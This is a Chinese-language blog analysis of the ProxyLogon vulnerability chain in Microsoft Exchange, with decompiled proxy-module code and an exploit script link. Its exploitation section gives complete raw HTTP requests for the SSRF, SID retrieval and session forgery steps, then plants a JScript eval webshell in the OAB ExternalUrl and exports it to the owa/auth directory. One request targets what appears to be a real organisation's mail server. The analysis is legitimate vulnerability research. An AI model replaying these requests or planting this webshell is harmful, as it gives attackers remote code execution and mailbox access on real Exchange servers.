Exchange ProxyLogon漏洞分析
前言
續前文繼續學習Exchange漏洞
ProxyLogon
影響范圍
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012
攻擊流程
1、 通過SSRF漏洞攻擊,訪問autodiscover.xml泄露LegacyDN信息
2、 在通過LegacyDN, 獲取SID
3.、然后通過合法的SID,獲取exchange的有效cookie
4.、最后通過有效的cookie,對OABVirtualDirectory對象進行惡意操作，寫入一句話木馬
ProxyLogon是通過利用CVE-2021-26855 SSRF 漏洞，然后使用CVE-2021-27065 任意文件寫入漏洞組合進行利用。
漏洞復現
github地址：https://github.com/jeningogo/exchange-ssrf-rce/blob/main/exchange-exp.py
python .\exchange.py 192.168.0.16 administrator@klion.local
該漏洞需要一個郵箱賬戶
漏洞分析
Exchange使用的是cas架構，如下圖
iis節點中可以看到有2個節點，一個架設在80，443 另外一個在81，444端口中。
分別是Frontend 和 Backend。這里面的一些功能也不一樣。Frontend ，前端必須包含一個代理模塊。代理模塊從客戶端獲取 HTTP 請求並添加一些內部設置，然后將請求轉發到后端。后端中負責解析前端請求等作用。
每個前端中的每個模塊都有配有FrontEndHttpProxy模塊
cd C:\Windows\System32\inetsrv
appcmd list wp
查看iis進程池，dnsdy附加進程開始調試
ProxyModule 代碼如下
public class ProxyModule : IHttpModule
{
// Token: 0x17000080 RID: 128
// (get) Token: 0x0600027F RID: 639 RVA: 0x0000EE08 File Offset: 0x0000D008
// (set) Token: 0x06000280 RID: 640 RVA: 0x0000EE10 File Offset: 0x0000D010
internal PfdTracer PfdTracer { get; set; }
// Token: 0x06000281 RID: 641 RVA: 0x0000EF60 File Offset: 0x0000D160
public void Init(HttpApplication application)
{
Diagnostics.SendWatsonReportOnUnhandledException(delegate
{
LatencyTracker latencyTracker = new LatencyTracker();
latencyTracker.StartTracking(LatencyTrackerKey.ProxyModuleInitLatency, false);
ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType>((long)this.GetHashCode(), "[ProxyModule::Init]: Init called. Protocol type: {0}", HttpProxyGlobals.ProtocolType);
if (application == null)
{
string text = "[ProxyModule::Init]: ProxyModule.Init called with null HttpApplication context.";
ExTraceGlobals.BriefTracer.TraceError((long)this.GetHashCode(), text);
throw new ArgumentNullException("application", text);
}
this.PfdTracer = new PfdTracer(0, this.GetHashCode());
application.BeginRequest += this.OnBeginRequest;
application.AuthenticateRequest += this.OnAuthenticateRequest;
application.PostAuthorizeRequest += this.OnPostAuthorizeRequest;
application.PreSendRequestHeaders += this.OnPreSendRequestHeaders;
application.EndRequest += this.OnEndRequest;
ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType, long>((long)this.GetHashCode(), "[ProxyModule::Init]: Protocol type: {0}, InitLatency {1}", HttpProxyGlobals.ProtocolType, latencyTracker.GetCurrentLatency(LatencyTrackerKey.ProxyModuleInitLatency));
});
}
Microsoft.Exchange.HttpProxy.ProxyModule.Init(HttpApplication) -->
Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeRequest(object, EventArgs)-->
Microsoft.Exchange.HttpProxy.FbaModule.OnPostAuthorizeInternal(HttpApplication)-->
Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeInternal(HttpApplication)-->
Microsoft.Exchange.HttpProxy.ProxyModule.SelectHandlerForAuthenticatedRequest(HttpContext)
if語句走入三個if分支里面去，分別來看看不同的條件和處理
if (EDiscoveryExportToolProxyRequestHandler.IsEDiscoveryExportToolProxyRequest(httpContext.Request))
public static bool IsEDiscoveryExportToolRequest(HttpRequest request)
{
string absolutePath = request.Url.AbsolutePath;
if (string.IsNullOrEmpty(absolutePath))
{
return false;
}
if (absolutePath.IndexOf("/exporttool/", StringComparison.OrdinalIgnoreCase) < 0)
{
return false;
}
EDiscoveryExportToolRequestPathHandler.EnsureRegexInit();
return EDiscoveryExportToolRequestPathHandler.applicationPathRegex.IsMatch(absolutePath);
}
該位置返回執行EDiscoveryExportToolProxyRequestHandler
第二個if條件，調用BEResourceRequestHanlder.CanHandle方法
BEResourceRequestHanlder.GetBEResouceCookie處代碼
private static string GetBEResouceCookie(HttpRequest httpRequest)
{
string result = null;
HttpCookie httpCookie = httpRequest.Cookies[Constants.BEResource];
if (httpCookie != null)
{
result = httpCookie.Value;
}
return result;
}
即獲取Cookie中X-BEResource參數不為空
internal static bool IsResourceRequest(string localPath)
{
return localPath.EndsWith(Constants.ExtensionAxd, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionChromeWebApp, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionCss, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionEot, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionGif, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJpg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJs, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtm, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtml, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionICO, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionManifest, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMp3, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMSI, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionPng, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionSvg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionTtf, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWav, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWoff, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);
}
這里是對uri地址的驗證，驗證是否合法
/ecp/xx.(js|css|gif)等都是合法uri
Microsoft.Exchange.HttpProxy.ProxyRequestHandler -->BeginCalculateTargetBackEnd -->InternalBeginCalculateTargetBackEnd
protected override AnchorMailbox ResolveAnchorMailbox()
{
string beresouceCookie = BEResourceRequestHanlder.GetBEResouceCookie(base.ClientRequest);
if (!string.IsNullOrEmpty(beresouceCookie))
{
base.Logger.Set(HttpProxyMetadata.RoutingHint, Constants.BEResource + "-Cookie");
ExTraceGlobals.VerboseTracer.TraceDebug<string, int>((long)this.GetHashCode(), "[BEResourceRequestHanlder::ResolveAnchorMailbox]: BEResource cookie used: {0}; context {1}.", beresouceCookie, base.TraceContext);
return new ServerInfoAnchorMailbox(BackEndServer.FromString(beresouceCookie), this);
}
return base.ResolveAnchorMailbox();
}
以~進行分割字符串，~后面即為verison版本號
BeginProxyRequest-->GetTargetBackEndServerUrl()
protected void BeginProxyRequest(object extraData)
{
this.LogElapsedTime("E_BegProxyReq");
this.CallThreadEntranceMethod(delegate
{
lock (this.LockObject)
{
this.HttpContext.SetActivityScopeOnCurrentThread(this.Logger);
PerfCounters.IncrementMovingPercentagePerformanceCounterBase(PerfCounters.HttpProxyCountersInstance.MovingPercentageMailboxServerFailure);
try
{
Uri uri = this.GetTargetBackEndServerUrl();
...
這里還有個條件判斷，如果版本大於Server.E15MinVersion，ProxyToDownLevel則為false。這個是一個重點之一。
判斷版本號小於1941962752版本則走入以上if邏輯代碼中
1.設置HTTPS
2.Host即FQDN，xxxx.com
3.如果端口小於Server.E15MinVersion的值，端口會被設置為443
{
UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
clientUrlForProxy.Port = 444;
if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion)
{
this.ProxyToDownLevel = true;
RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
clientUrlForProxy.Port = 443;
}
result = clientUrlForProxy.Uri;
}
}
this.AnchoredRoutingTarget.BackEndServer.Fqdn;該位置的值可控，那么result的值也可控。
繼續往下走邏輯來到該位置
調用this.CreateServerRequest將uri發送給后端服務器
調用this.PrepareServerRequest(httpWebRequest);進行身份認證。
這里返回false
調用 GenerateKerberosAuthHeader() 函數來 創建Kerberos 認證頭部。這也是中間代理能夠訪問BackEnd Server的原因 。
ShouldBlockCurrentOAuthRequest函數里的ProxyToDownLevel是用來檢查用戶是否已通過身份驗證；而當有請求調用BEResourceRequestHandler時，ShouldBackendRequestBeAnonymous()就會被調用。繞過認證，然后把數據包組成后發送給后端。后端響應請求，把數據返回給客戶端。最后達到一個SSRF漏洞攻擊的過程。
漏洞利用
這里ssrf去訪問autodiscover.xml自動配置文件的原因是因為Autodiscover(自動發現)是自Exchange Server 2007開始推出的一項自動服務，用於自動配置用戶在Outlook中郵箱的相關設置，簡化用戶登陸使用郵箱的流程。如果用戶賬戶是域賬戶且當前位於域環境中，通過自動發現功能用戶無需輸入任何憑證信息即可登陸郵箱。autodiscover.xml 文件中包含有LegacyDN 的值，
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Ex01.klion.local/autodiscover/autodiscover.xml?a=~1942062522;
Content-Type: text/xml
Content-Length: 375
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>administrator@klion.local</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
需要提供一個郵箱賬戶,通過ssrf訪問后端功能獲取到LegacyDN的值。
然后使用LegacyDN，獲取sid
POST /ecp/1qnl.js HTTP/1.1
Host: smsrv.schmidt-steuer.de
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@SMSRV.SCHMIDT-STEUER.DE:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;
Content-Type: application/mapi-http
X-Requesttype: Connect
X-Clientinfo: {2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
X-Requestid: {E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456
Content-Length: 149
legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
獲取完成后，使用sid獲取cookie
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/proxyLogon.ecp?a=~1942062522;
Content-Type: text/xml
msExchLogonMailbox: S-1-5-20
Content-Length: 247
<r at="Negotiate" ln="john"><s>S-1-5-21-169768398-886626631-87175517-500 ·sid·</s><s a="7"
t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s
a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
文件上傳
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
Content-Type: application/json;
msExchLogonMailbox: S-1-5-20
Content-Length: 168
{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 399
{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script> "}}}
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 393
{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\BF2DmInPbRqNlrwT4CXo.aspx"}}}